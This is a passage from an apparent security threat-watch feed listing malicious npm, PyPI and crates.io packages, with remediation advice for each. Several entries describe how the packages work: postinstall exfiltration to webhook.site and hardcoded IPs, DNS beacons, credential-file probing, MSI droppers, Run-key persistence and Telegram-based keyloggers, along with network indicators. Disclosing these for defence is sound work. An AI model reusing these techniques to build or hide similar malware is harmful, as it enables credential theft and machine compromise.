hosts as compromised; Rotate all secrets, API keys, tokens, and SSH keys stored on or accessible from affected machines, from a clean computer; Rebuild or reimage affected machines rather than trusting cleanup; Audit npm lockfiles and CI pipelines for the package and block it in dependency firewalls/allowlists; Review logs and network egress for signs of attacker activity since installation ### [critical] npm malware wave: casamare, ansi-sanitize, lineparse — malicious packages fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-wave-casamare-ansi-sanitize-lineparse-malicious-packages-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-13 On 2026-11-13 GitHub published malware advisories for three npm packages: casamare (GHSA-xqvf-vmv8-fhw5), ansi-sanitize (GHSA-59gv-286x-7347) and lineparse (GHSA-949g-9w76-cwfw). All versions (>= 0) are affected and no patched versions exist; the packages are classified as embedded malicious code (CWE-506) with no known source code. GitHub's guidance states any computer with these packages installed or running should be considered fully compromised, with attacker control potentially persisting after package removal. Any developer, CI runner or end user who installed them is affected; secrets and keys on those machines are presumed stolen. Removal alone is not remediation — credential rotation and system rebuild are required. Do: Check lockfiles, node_modules and CI caches for casamare, ansi-sanitize and lineparse; treat any hit as a full compromise; Rotate all secrets, tokens, SSH keys and signing keys stored on or accessible from affected machines, from a clean machine; Rebuild/reimage affected hosts and runners rather than just uninstalling the packages; Audit npm install logs and CI history for when the packages were introduced and what credentials were exposed since; Block the package names in internal registries and dependency firewalls ### [critical] @ewms/el-bootstrap npm package is malware — full machine compromise for any version installed https://helix.ml/threat-watch/i/ewms-el-bootstrap-npm-package-is-malware-full-machine-compromise-for-any-version-installed · Supply chain · no-fix-needed · since 2026-11-13 GitHub's advisory database has flagged the npm package @ewms/el-bootstrap as malware (GHSA-v22r-22vf-5p3c, CWE-506), published 2026-11-13. Every version (>= 0) is affected and there are no patched versions — the package itself is the attack. Any computer where it is installed or running should be considered fully compromised, with control potentially handed to an outside entity. All developers, CI systems, and build machines that pulled the package are in scope. Removal of the package does not guarantee removal of the malicious software it may have deployed. No fix exists; remediation is incident response, not upgrading. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a clean computer; Remove @ewms/el-bootstrap from all projects, lockfiles, and CI pipelines; Rebuild or forensically clean affected machines; do not assume package removal removes the malware; Audit npm dependency trees and lockfiles for the package and any related suspicious dependencies; Review access logs and monitor for signs of attacker activity on affected hosts ### [critical] hxqrtv-bznwkp-util: malicious npm package fully compromises machines that install it (no CVE) https://helix.ml/threat-watch/i/hxqrtv-bznwkp-util-malicious-npm-package-fully-compromises-machines-that-install-it-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub published a malware advisory (GHSA-rm59-wxgp-7g45) for the npm package hxqrtv-bznwkp-util, versions 0.0.0-stage and 1.0.0. The package is classified as embedded malicious code (CWE-506) with no known source code and no patched versions. GitHub states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, so removal of the package alone cannot be assumed to remove all malicious software. Any developer, CI system, or end user that installed these versions is affected. There is no fix; remediation is removal plus full incident response including secret rotation and system rebuild. Do: Treat any machine with hxqrtv-bznwkp-util installed as fully compromised; rotate all secrets and keys from a clean computer immediately; Remove the package and rebuild/reimage affected machines rather than trusting cleanup; Audit dependency locks and CI caches for the package and block it in registries/proxies; Review logs and credentials for signs of exfiltration or unauthorized access ### [critical] celest-browser (npm): malicious package compromises any machine where installed; no safe version exists https://helix.ml/threat-watch/i/celest-browser-npm-malicious-package-compromises-any-machine-where-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database flagged the npm package celest-browser as containing embedded malicious code (CWE-506), published 2026-11-13. All versions (>= 0) are affected and no patched version exists; the package has no known source code repository. GitHub states any computer with the package installed or running should be considered fully compromised, implying full control may have been handed to an outside entity. The package sees roughly 407 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software it installed. No CVE is assigned; this is a malware takedown-style advisory rather than a code vulnerability. Do: Rotate all secrets and keys stored on any machine where celest-browser was installed, using a different, clean computer; Remove celest-browser from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; do not assume uninstall removed the malware; Audit for signs of compromise and review CI/CD and developer machines that may have pulled the package ### [critical] sol-wallet-adapater (npm): malicious package compromises machines and exposes all stored secrets and keys (no CVE) https://helix.ml/threat-watch/i/sol-wallet-adapater-npm-malicious-package-compromises-machines-and-exposes-all-stored-secrets-and-keys-no-cve · Supply chain · no-fix-needed · since 2026-11-13 The GitHub Advisory Database published GHSA-5c87-58w4-f8xf on 2026-11-13 flagging the npm package sol-wallet-adapater (note the misspelling of 'adapter') as malware, affecting all versions (>= 0) with no patched version available. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially given to an outside entity. All secrets and keys stored on affected machines should be rotated immediately from a different computer. The package appears to be a typosquat-style malicious package with no known source code. Removal of the package does not guarantee removal of all malicious software it may have installed. CWE-506 (Embedded Malicious Code) is cited. Do: Treat any machine with sol-wallet-adapater installed as fully compromised; Rotate all secrets and keys stored on affected machines immediately, from a clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit dependency trees and lockfiles for the package and block it in CI/CD and registry proxies ### [critical] berg-fonbock (npm): malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/berg-fonbock-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database flagged the npm package berg-fonbock as embedded malicious code (CWE-506), published 2026-11-13. All versions (>= 0) are affected and no patched version exists; the package has no known source code repository. Any computer with the package installed or running must be considered fully compromised, with control potentially handed to an outside entity. Secrets and keys stored on affected machines are at risk and removal of the package does not guarantee removal of all malicious software. No CVE is assigned; remediation is removal plus credential rotation from a clean machine. Do: Remove berg-fonbock from all projects and dependency trees (check lockfiles and transitive dependencies); Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or wipe compromised machines; do not assume package removal fully cleans the host; Audit npm install and CI logs for berg-fonbock installs and review for signs of compromise; Block the package in internal registries and dependency scanning policies ### [critical] Malware in tailwindcss-animationkit npm package — full compromise of installed machines https://helix.ml/threat-watch/i/malware-in-tailwindcss-animationkit-npm-package-full-compromise-of-installed-machines · Supply chain · no-fix-needed · since 2026-11-13 GitHub published a malware advisory (GHSA-2hrf-5wrm-jw55, CWE-506) for the npm package tailwindcss-animationkit. All published versions (>= 0) are considered malicious, with no patched versions available. The advisory states that any computer with the package installed or running should be considered fully compromised, with possible full control handed to an outside entity, and that removing the package does not guarantee removal of resulting malicious software. Any developer or CI environment that installed the package is affected; secrets and keys on those machines are presumed stolen. There is no fix — remediation is removal, machine rebuild, and credential rotation. Do: Rotate all secrets, keys, and tokens that were stored on or accessible from machines where the package was installed, using a clean computer; Remove tailwindcss-animationkit from all projects and lockfiles and rebuild affected machines from trusted images; Audit install logs, CI caches, and dependency trees for other uses of the package; Review access and network logs for signs of attacker activity following installation; Add the package to blocklists / denylists in dependency scanning and CI ### [critical] karma365-mcp npm package — malicious code in v2.1.0 fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/karma365-mcp-npm-package-malicious-code-in-v2-1-0-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub published a malware advisory (GHSA-72xc-q3v8-7grp) for the npm package karma365-mcp, version 2.1.0, on 2026-11-13. The package contains embedded malicious code (CWE-506); any computer where it is installed or running should be considered fully compromised, with full control potentially handed to an outside entity. All secrets and keys on affected machines are at risk and should be rotated from a clean computer. There are no patched versions — the package is malware and should be removed, though removal cannot guarantee elimination of all malicious software it installed. No fixed version exists; treat any use of this package as a security incident. Do: Immediately remove karma365-mcp 2.1.0 from all systems and block it in dependency policies; Rotate all secrets, keys, and credentials stored on affected machines, using a clean computer; Rebuild/reimage affected machines; audit for persistence and follow-on malware; Review CI/CD and developer environments for exposure to the package; Check npm lockfiles and dependency trees for karma365-mcp references ### [critical] Dependency-confusion canary malware: curse-allies-module & helper-agent (npm) beacon to webhook.site and mutate local services on install https://helix.ml/threat-watch/i/dependency-confusion-canary-malware-curse-allies-module-helper-agent-npm-beacon-to-webhook-site-and-mutate-local-service · Supply chain · no-fix-needed · since 2026-11-13 Two malicious npm packages, curse-allies-module 1.0.0 and helper-agent 1.0.1/1.0.4, were published to the npm registry and flagged as malware by Amazon Inspector via OpenSSF on 2026-11-13. Both run a postinstall script (node probe.cjs) that unconditionally POSTs install markers to a hardcoded webhook.site collector, confirming to the attacker that the package name resolved and executed in the installer's environment — a dependency-confusion reconnaissance canary enabling follow-on targeted attacks. helper-agent additionally scans localhost ports (1337, 80, 3000, 8080, 5000) and, if a matching JSON API record (id ECT-987654) is found, overwrites that service's manifest via PUT, granting the author write access to a local service. No patched versions exist; the packages should be treated as removed malware. Do: Check dependency trees and lockfiles for curse-allies-module and helper-agent and remove them immediately; Audit CI/CD and developer machines that installed these packages for signs of execution (outbound POSTs to webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481, localhost port scans); Block the webhook.site collector URL at egress firewalls/proxies; Enforce npm registry allowlists or internal-only resolution to prevent dependency confusion; disable install lifecycle scripts (e.g. --ignore-scripts); Investigate any locally running JSON API on ports 1337/80/3000/8080/5000 for tampered manifests or records with id ECT-987654 ### [critical] Dependency-confusion malware wave: @securihackbot/depconf-flow-1792484611, axon-web, math-helpers-extra-utils, quickgreet — npm packages exfiltrate host metadata on install https://helix.ml/threat-watch/i/dependency-confusion-malware-wave-securihackbot-depconf-flow-1792484611-axon-web-math-helpers-extra-utils-quickgreet-npm · Supply chain · no-fix-needed · since 2026-11-13 Four malicious npm packages published as dependency-confusion squats were flagged on 2026-11-13 via GitHub advisories sourced from Amazon Inspector and OpenSSF. @securihackbot/depconf-flow-1792484611@1.2.1 runs a postinstall script that base64-encodes hostname, user, platform, arch and node version and beacons them over plain HTTP to a hardcoded IP (34.143.131.27:18080), with a DNS-exfil fallback. axon-web@12.0.0 and quickgreet@0.0.2 exfiltrate hostname and username via DNS lookups to attacker-controlled interactsh (oast.fun) listeners on require/install. math-helpers-extra-utils@1.0.0/1.0.1 hijacks Wix thunderbolt registry names and executes id/hostname/uname via child_process, sending results to a webhook.site collector. Any build host or developer machine resolving these public names instead of intended internal packages leaks host metadata; no patched versions exist. Do: Search npm lockfiles, CI logs and dependency trees for the four package names/versions and remove any occurrence; Audit whether internal package names matching these squats exist; if so, assume build hosts were probed and investigate which hostnames/users leaked; Block egress to 34.143.131.27:18080, oast.fun/interactsh domains and webhook.site from build environments; Enforce npm scoped-registry mappings and private registry allowlists so internal names cannot resolve to public tarballs; Disable or gate install lifecycle scripts (npm config set ignore-scripts true / --ignore-scripts) in CI and developer machines ### [critical] r17d-sec-research-marker (npm): postinstall script exfiltrates host metadata and credential-path inventory to webhook.site https://helix.ml/threat-watch/i/r17d-sec-research-marker-npm-postinstall-script-exfiltrates-host-metadata-and-credential-path-inventory-to-webhook-site · Supply chain · no-fix-needed · since 2026-11-13 The npm package r17d-sec-research-marker@1.0.0 contains malicious code flagged by Amazon Inspector and catalogued by OpenSSF/GitHub as malware (GHSA-7g8r-g568-m7rv, CWE-506). Its postinstall script (collect.js) performs host reconnaissance on install: runs whoami, OS/kernel info, lists the home directory and cwd, probes for credential/config files (~/.npmrc, ~/.gitconfig, ~/.config/gh, ~/.novus), and enumerates all process.env variable names, then POSTs the collected JSON to a hardcoded anonymous webhook.site endpoint. The data reveals CI provider, cloud credential presence and secret-store usage, enabling follow-on credential targeting. The package self-labels as a 'security research POC collecting metadata only', but the installer did not opt in and the destination is an anonymous third-party collector. No patched version exists; the package should be treated as malware and removed. Do: Check whether r17d-sec-research-marker@1.0.0 is present in any dependency tree or lockfile and remove it immediately; If installed, treat the build machine's environment and credential files as exposed: rotate npm tokens, GitHub/Git credentials, and any cloud or CI secrets that were present; Review CI and developer machines that ran npm install since the package's publication for the exfiltration behavior and any follow-on access; Block outbound requests to webhook.site/f18b2445-73d1-478a-9d3f-1cb21a407c61 in build environments; Audit npm install pipelines with --ignore-scripts where feasible and monitor for similar metadata-exfiltration postinstall scripts ### [critical] @test-org-aczxvz/test-package (npm): malicious init() exfiltrates HMAC keys and bearer tokens to attacker webhook (no CVE) https://helix.ml/threat-watch/i/test-org-aczxvz-test-package-npm-malicious-init-exfiltrates-hmac-keys-and-bearer-tokens-to-attacker-webhook-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub Advisory Database (GHSA-92mx-87xp-ppw9, credited to Amazon Inspector via OpenSSF malicious-packages) flags npm package @test-org-aczxvz/test-package version 1.0.0 as malware. Its public init(options) API serializes the entire options object — including the HMAC signing key passed as logging_data, bearer token, region, instance, and entropy fields — and POSTs it to a hardcoded collector URL built from options.rng_server_url plus UUID path f4927958-be83-4bb1-9265-eaf4b9e0417d (overridable via RNG_COLLECTOR_UUID, defaulting to a webhook.site-style bin). The payload is sent both as a JSON body and a base64-encoded ?d= query parameter for redundancy. Any caller invoking init() with real runtime credentials silently leaks them to the attacker before local use. No patched version exists; the package must be removed. Do: Remove @test-org-aczxvz/test-package@1.0.0 from all dependency trees and lockfiles immediately; Rotate any HMAC signing keys, bearer tokens, and credentials passed to init() on systems where the package ran; Audit logs and network egress for POSTs to webhook.site-style bins or the UUID path f4927958-be83-4bb1-9265-eaf4b9e0417d; Scan build and runtime environments for RNG_COLLECTOR_UUID overrides and similar typosquatted @test-org-* packages; Block egress to webhook.site and similar exfiltration services from CI/CD and build hosts ### [critical] Malicious npm package zxcvb90-utils-helper exfiltrates page DOM to webhook.site collector https://helix.ml/threat-watch/i/malicious-npm-package-zxcvb90-utils-helper-exfiltrates-page-dom-to-webhook-site-collector · Supply chain · no-fix-needed · since 2026-11-13 The npm package zxcvb90-utils-helper@1.0.1 is confirmed malware (GHSA-2rfv-gw97-96gg, CWE-506). Its main entry index.js, on require/import, sends URL-encoded document.documentElement.outerHTML (truncated to 4000 chars) via fetch to a hardcoded attacker-controlled webhook.site collector, silently exfiltrating secrets, tokens, and user data rendered in the page in browser bundles, jsdom, and Electron environments. The package has no declared purpose and an empty description. package.json also declares a self-dependency on itself with an unpinned pre-release range (^0.0.0-stage), so installs resolve whatever bytes the registry currently serves with no integrity pin. No patched versions exist; the only remediation is removal. Reported by Amazon Inspector via OpenSSF malicious-packages. Do: Remove zxcvb90-utils-helper from all dependency trees and lockfiles immediately; Audit environments where it was imported (browser bundles, jsdom, Electron) for exfiltrated DOM data; rotate any secrets, tokens, or credentials that may have been rendered in affected pages; Check install logs and lockfiles for the unpinned self-dependency and any unexpected resolutions; Block webhook.site egress in build and runtime environments; Scan for other typosquat-style utility packages with no description or purpose ### [critical] @wanzforme/bails4u (npm): malicious package pins unpinned GitHub-hosted libsignal dependency, enabling arbitrary code execution on install https://helix.ml/threat-watch/i/wanzforme-bails4u-npm-malicious-package-pins-unpinned-github-hosted-libsignal-dependency-enabling-arbitrary-code-executi · Supply chain · no-fix-needed · since 2026-11-13 GitHub Advisory Database (GHSA-38gh-x97r-9cx2, published 2026-11-13) flags the npm package @wanzforme/bails4u version 1.0.0 as malicious code (CWE-506), sourced from Amazon Inspector analysis. The package's package.json declares a runtime dependency on libsignal from github:wanzchil/libsignal-node with no commit SHA, tag, or integrity hash. npm install therefore resolves whatever the repository's default branch currently contains and executes its lifecycle scripts on the installer's machine; the repo owner can push new commits at any time, so future installs fetch and run unverified bytes, bypassing the npm registry's integrity model. A separate static match in lib/Utils/generics.js (ping/HTTP pattern) is consistent with WhatsApp/Baileys-style utilities and not independently indicative of malice. No patched versions exist; the package is malware and should be removed, not updated. Do: Remove @wanzforme/bails4u from all projects and lockfiles; do not attempt to upgrade; Audit install logs and CI systems for any installs of the package and investigate machines that ran them for compromise (lifecycle scripts executed); Rotate credentials, tokens, and secrets accessible from affected build/developer environments; Pin all GitHub-referenced dependencies to commit SHAs with integrity verification and reject unpinned git dependencies in policy; Scan environments for indicators tied to wanzchil/libsignal-node and block the repository/dependency ### [critical] @rclaude/darwin-x64 & @rclaude/darwin-arm64 npm packages — malicious code, full machine compromise (no CVE) https://helix.ml/threat-watch/i/rclaude-darwin-x64-npm-package-malicious-code-full-machine-compromise-no-cve · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published malware advisories for the npm packages @rclaude/darwin-x64 (version 0.2.1) and @rclaude/darwin-arm64 (version 0.2.0), both flagged as CWE-506 embedded malicious code. Any machine with either package installed or running should be considered fully compromised, with the attacker potentially having full control; removing the package does not guarantee removal of all malicious software. No patched versions exist and no source code repositories are known. All users of the packages are affected; secrets and keys on affected machines must be treated as stolen. Remediation is incident response, not an upgrade: remove the packages, rotate credentials from a clean machine, and rebuild compromised hosts. Do: Treat any machine with @rclaude/darwin-x64 or @rclaude/darwin-arm64 installed as fully compromised; Rotate all secrets, keys and credentials stored on affected machines, from a clean computer; Remove the packages and rebuild/reimage affected hosts rather than trusting cleanup; Audit npm dependencies and lockfiles for the packages and block them in registries/proxies; Review logs and network activity for signs of attacker access ### [critical] stylelint-standard (npm) — malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/stylelint-standard-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database flagged the npm package stylelint-standard as embedded malicious code (CWE-506), published 2026-11-13. All versions (>= 0) are affected and no patched version exists; the package has been removed from legitimate use and no source code is known. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, implying attacker control of the host and access to secrets and keys. Reach appears limited (~372 downloads/month), but any installation is treated as compromised. There is no fix — remediation consists of removing the package and rotating all credentials from a clean machine. Do: Remove stylelint-standard from all projects and CI immediately; Treat every machine where it was installed or run as fully compromised; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild affected systems and audit for persistence and lateral movement; Check dependency lockfiles and CI caches for the package and block it in registries/proxies ### [critical] Malware in em-owa-walletconnect-sign-client (npm) — full compromise of installed machines; no patched version https://helix.ml/threat-watch/i/malware-in-em-owa-walletconnect-sign-client-npm-full-compromise-of-installed-machines-no-patched-version · Supply chain · no-fix-needed · since 2026-11-13 GitHub published a malware advisory (GHSA-q36f-8vwc-6vxm) on 2026-11-13 for the npm package em-owa-walletconnect-sign-client, flagging it as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, with attacker control of the machine and exposure of all secrets and keys stored on it. The package has low reach (~43 downloads/month) but is a wallet-connect themed package likely targeting crypto credentials. Removal of the package does not guarantee removal of resulting malicious software. No source code repository is known for the package. Do: Treat any machine with the package installed as fully compromised; rotate all secrets and keys from a clean machine; Remove the package and rebuild/reimage affected systems; Audit dependency trees and lockfiles for the package and block it in registries/proxies; Review logs and credentials for signs of exfiltration, especially crypto wallet keys; Rotate npm tokens and CI credentials if the package was used in build environments ### [critical] Malicious npm package jsconvict compromises installers' machines https://helix.ml/threat-watch/i/malicious-npm-package-jsconvict-compromises-installers-machines · Supply chain · no-fix-needed · since 2026-11-13 GitHub's advisory database published a malware advisory for the npm package jsconvict (GHSA-3c69-7f9m-gpvp) on 2026-11-13. All versions (>= 0) are classified as embedded malicious code (CWE-506) with no patched version available. Any machine where the package is installed or running must be considered fully compromised, with potential full control handed to an outside entity. The package sees roughly 27 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to eliminate malicious software it may have installed. No CVE is assigned; the advisory is a malware takedown-style entry with no known source code repository. Do: Rotate all secrets and keys stored on any machine where jsconvict was installed, using a different, clean computer; Remove jsconvict from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; do not assume uninstall removed the malware; Audit for signs of compromise and credential misuse following key rotation; Scan dependency trees for other suspicious low-download packages ### [critical] Malicious npm package tailwind-lines-clamps compromises installer machines (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-tailwind-lines-clamps-compromises-installer-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub's advisory database published a malware advisory for the npm package tailwind-lines-clamps (GHSA-r79p-hc83-2mjh), flagged as CWE-506 embedded malicious code. All versions (>= 0) are affected and no patched version exists, so any installation of the package is considered malicious. The advisory states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the machine, exposing secrets, keys and credentials. The package sees roughly 286 downloads per month, so exposure is limited but real. There is no fix; remediation consists of removing the package and rotating all secrets from a clean machine, since removal alone cannot guarantee the malware is eradicated. Do: Rotate all secrets, keys and credentials stored on any machine where the package was installed, using a different clean computer; Remove tailwind-lines-clamps from all projects and lockfiles and rebuild affected environments from trusted images; Audit machines for persistence and other malicious software left by the package; consider reimaging compromised hosts; Check CI/CD and developer machines for the package and review logs for suspicious activity since installation; Block the package name in internal registries and dependency scanning ### [critical] Malicious npm package mre-notificacao-react — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-mre-notificacao-react-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database published GHSA-p5wc-vpqp-p35f on 2026-11-13 flagging the npm package mre-notificacao-react as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removing the package does not guarantee removal of all malicious software. Any developer or CI environment that installed the package is affected; secrets and keys stored on those machines are at risk. There is no fix — the only remediation is removal plus full incident response on affected hosts. Do: Stop using and remove mre-notificacao-react from all projects, lockfiles and CI caches; Treat every machine that installed or ran it as fully compromised; rebuild hosts from clean images; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Review access logs and cloud/CI activity for signs of attacker use of stolen credentials; Audit dependencies for other typosquatted or malicious packages from the same source ### [critical] fetchium PyPI malware: covert Windows loader with MSI dropper and Run-key persistence https://helix.ml/threat-watch/i/fetchium-pypi-malware-covert-windows-loader-with-msi-dropper-and-run-key-persistence · Supply chain · no-fix-needed · since 2026-11-13 The PyPI package fetchium (versions 1.0.0 and 1.0.1), advertised as web/utility helpers (greet/clamp), ships a covert loader that runs on first import. __init__.py silently invokes _loader.run() in a bare try/except; _loader.py contains ~1.9 MB of base64+zlib-encoded payload chunks plus a Windows dropper that silently installs an MSI masquerading as MicrosoftEdgeUpdate.msi via msiexec/WMI. Embedded config evades sandboxes, VMs, and analysis tools and adds HKCU Run-key persistence (Microsoft\CoreRuntime). Flagged by Amazon Inspector and OpenSSF/kam193 as malicious (CWE-506), with VirusTotal and tria.ge samples. No patched versions exist; the package should be treated as fully malicious. Do: Immediately remove fetchium from all environments and dependency lockfiles; Hunt on Windows hosts for HKCU\Software\Microsoft\Windows\CurrentVersion\Run subkey Microsoft\CoreRuntime and MicrosoftEdgeUpdate.msi artifacts; Reimage or rebuild any Windows machine where the package was imported; Block the package name and associated hashes in artifact registries and proxies; Audit for signs of follow-on infostealer activity and rotate credentials from affected hosts ### [critical] 2026-10-voice-synthesis-profiles: malicious PyPI loader packages qwen3ttsui, voxcpmttslora, garvisometerui download and execute remote scripts https://helix.ml/threat-watch/i/2026-10-voice-synthesis-profiles-malicious-pypi-loader-packages-qwen3ttsui-voxcpmttslora-garvisometerui-download-and-exe · Supply chain · no-fix-needed · since 2026-11-13 GitHub Advisory Database, crediting OpenSSF's malicious-packages project and researcher kam193, published malware advisories on 2026-11-13 for three PyPI packages: qwen3ttsui (GHSA-jh3g-jv4f-xccp), voxcpmttslora (GHSA-57cv-8g8v-9vg9) and garvisometerui (GHSA-85xg-c949-ffc6). All are version 0.1.0, severity critical, CWE-506 embedded malicious code, and belong to a coordinated campaign tracked as 2026-10-voice-synthesis-profiles. The packages act as loaders that download and execute a script from an attacker-controlled URL; they do not embed the final payload, but are clearly deceptive staging for malicious code such as infostealers. No patched versions exist; the packages should be treated as malware and removed. Do: Search environments and dependency lockfiles for qwen3ttsui, voxcpmttslora and garvisometerui and remove them immediately; Audit systems where these packages were installed for signs of executed remote code, credential theft or persistence; Rotate credentials and secrets on affected machines; Block these package names in PyPI mirrors/proxies and internal dependency allowlists; Prefer vetted voice-synthesis/TTS packages and enforce dependency scanning and provenance checks ### [critical] my-mcp-server-driving-license-ocr (PyPI): malicious MCP OCR tool exfiltrates driving-license images to hardcoded bare IP over HTTP (no CVE) https://helix.ml/threat-watch/i/my-mcp-server-driving-license-ocr-pypi-malicious-mcp-ocr-tool-exfiltrates-driving-license-images-to-hardcoded-bare-ip-ov · Supply chain · no-fix-needed · since 2026-11-13 OpenSSF and Amazon Inspector flagged the PyPI package my-mcp-server-driving-license-ocr (version 0.1.3) as malicious code (CWE-506). The package exposes an MCP tool 'analyze_image' advertised as driving-license OCR. It accepts caller-supplied image URLs or base64 image bytes and POSTs them to a hardcoded endpoint, http://42.193.222.35:8000/ocr_pic, over plaintext HTTP. Although the code reads MY_API_URL from the environment, it unconditionally reassigns API_URL to the hardcoded bare IP, silently discarding any caller-provided configuration so the destination cannot be redirected. The bare-IP destination has no publisher or vendor disclosure, receives personally identifiable driving-license images without TLS, and is unreachable/auditable by users. No patched version exists; the package should be treated as compromised and removed. Do: Immediately remove and stop using my-mcp-server-driving-license-ocr from all environments and MCP configurations; Treat any driving-license or other document images processed through the tool as exfiltrated; initiate incident response and any applicable PII breach notification obligations; Audit environments and MCP client configs for the package and for connections to 42.193.222.35:8000; block that endpoint at network controls; Rotate or re-secure any credentials or data that may have been exposed alongside processed images; Replace with a vetted OCR solution and review other MCP tools for similar hardcoded exfiltration endpoints ### [critical] Malicious npm packages rampage-unpack, griffing-ui-pkg, griffing-ux-pkg, eigenlayer-sdk — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-rampage-unpack-griffing-ui-pkg-griffing-ux-pkg-eigenlayer-sdk-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-13 On 2026-11-13 GitHub published four malware advisories for npm packages rampage-unpack, griffing-ui-pkg, griffing-ux-pkg and eigenlayer-sdk, all flagged CWE-506 (embedded malicious code) with every version affected and no patched releases. The advisories state any machine with these packages installed or running should be considered fully compromised, with control potentially handed to an outside entity, and recommend rotating all secrets and keys from a separate machine. Download volumes are small (11–414 per month), suggesting limited reach, but eigenlayer-sdk's name mimics the legitimate EigenLayer ecosystem and may be a typosquat. No common name, CVE, or evidence of in-the-wild exploitation is given. Removal of the packages is advised, though removal may not eliminate all malicious software. Do: Immediately uninstall the four packages and rebuild affected machines from trusted images; Rotate all secrets, API keys, SSH keys, and credentials stored on or accessible from affected machines, using a clean computer; Audit dependency lockfiles and CI caches for these packages and block them in registry proxies/allowlists; Review logs and network traffic for signs of exfiltration or persistence; Prefer the legitimate EigenLayer tooling and verify package provenance before installing ### [critical] Malicious Rust crates basek & hesk on crates.io — keyloggers/wallet stealers exfiltrating via Telegram Bot API https://helix.ml/threat-watch/i/malicious-rust-crates-basek-hesk-on-crates-io-keyloggers-wallet-stealers-exfiltrating-via-telegram-bot-api · Supply chain · no-fix-needed · since 2026-11-13 Two malicious Rust crates published on crates.io, basek 0.1.0 and hesk 0.1.0, were identified and published to the GitHub Advisory Database on 2026-11-13. basek is a Windows keylogger: its get_data() routine captures keystrokes, batches them with the local username, and exfiltrates via the Telegram Bot API (XOR-obfuscated bot token, hardcoded chat_id 7304091279) plus a secondary endpoint keylogger.nullsect0r.tech; it installs to %LOCALAPPDATA%\WindowsSystemUtility\WinSysUtils.exe, adds an HKCU Run key, spawns a watchdog clone, and self-deletes, with sleep/warmup/jitter anti-sandbox tricks. hesk contains async payloads (dat, bs) that walk the home directory, zip wallet artefacts (e.g. exodus.wallet), and upload them via Telegram, padded with ~100 filler functions for camouflage; its dependencies add keylogging and Windows persistence capability. Both use 'educational project' framing. No fixed versions exist; the crates should be treated as fully malicious. Do: Immediately check lockfiles and dependency trees for basek or hesk and remove them; treat any build that included them as compromised; If installed on Windows hosts, hunt for %LOCALAPPDATA%\WindowsSystemUtility\WinSysUtils.exe, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value 'WinSysUtils', random 12-digit-named watchdog processes, and outbound traffic to api.telegram.org and keylogger.nullsect0r.tech; Assume keystrokes and credentials typed on affected machines were captured; rotate passwords, tokens, and keys, prioritising wallet/exchange credentials; Check for missing or exfiltrated crypto wallet files (e.g. exodus.wallet) and move remaining assets to new wallets/seed phrases; Block network indicators (api.telegram.org bot endpoints used, keylogger.nullsect0r.tech) and review egress logs for prior exfiltration; Rebuild affected systems from clean images rather than attempting in-place cleanup ### [critical] PyPI loader malware campaign: dashloom & acustoviasr — malicious packages download and execute remote code (no CVE) https://helix.ml/threat-watch/i/pypi-loader-malware-campaign-dashloom-acustoviasr-malicious-packages-download-and-execute-remote-code-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub Advisory Database (via OpenSSF malicious-packages) published malware advisories for two PyPI packages on 2026-11-13. dashloom (versions 1.0.0–1.1.1) is a malicious loader that pins a vulnerable pydash dependency, abusing pydash.invoke(...) to escape object scope and execute code split across a now-benign GitHub file; the same account also published a repository executing embedded encrypted code. acustoviasr (0.1.0) belongs to a coordinated campaign of similar loader packages that execute code fetched from a URL, though no payload or observed usage is known. Both are classified MALICIOUS with infostealer-style intent, no patched versions exist, and the packages should be treated as compromised. Any project depending on them is exposed to arbitrary remote code execution. Do: Remove and purge dashloom and acustoviasr from all environments, lockfiles, and caches; treat any machine that installed them as compromised; Audit dependency trees and CI caches for the affected packages and versions (dashloom 1.0.0–1.1.1, acustoviasr 0.1.0); Rotate credentials, tokens, and secrets accessible from affected build or dev environments; Review logs and GitHub/PyPI activity for connections fetching remote scripts or unexpected pydash.invoke usage; Prefer pinned, hashed dependencies and block installs of newly published unvetted packages ### [critical] Malicious npm package @i18n.site/cli-win32-x64 0.1.10 — full machine compromise; rotate secrets 